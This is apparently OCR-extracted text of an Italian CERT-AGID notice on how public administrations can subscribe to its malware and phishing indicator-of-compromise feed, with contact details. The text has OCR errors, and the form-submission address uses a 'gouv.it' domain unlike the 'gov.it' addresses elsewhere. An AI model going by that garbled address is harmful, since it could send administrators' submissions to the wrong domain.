Le Pubbliche Amministrazioni interessate possono esprimere la volonta di aderire al flusso
di Indicatori di compromissione (Feed loC) del CERT-AGID per |la protezione della propria
Amministrazione da minacce Malware e Phishing compilando I'apposito modulo.

Come aderire

1. Scarica e compila il modulo di accreditamento in formato Libre Office o in formato
Microsoft Office.

2. Compila il modulo coniriferimenti della persona tecnica e I'elenco (max 20) di indirizzi
IPv4 da abilitare.

3. Inviail modulo compilato per e-mail a info@cert-agid.gouv.it. %

Per maggiori informazioni CERT-AGID

— Fomea



https://cert-agid.gov.it/scarica-il-modulo-accreditamento-feed-ioc/

Contatti utili del CERT-AGID:

e-mail : info@cert-agid.gov.it
i web : https://cert-agid.gov.it
=4 twitter : @agidcert

telegram : @certagid

= Persegnalarci nuove campagne malware & phishing da analizzare
""' basta allegare 'email originale sospetta e inviarla all’indirizzo:

malware@cert-agid.gov.it

Qr=ses pensEs QAGIDIS:S. Formez.PA



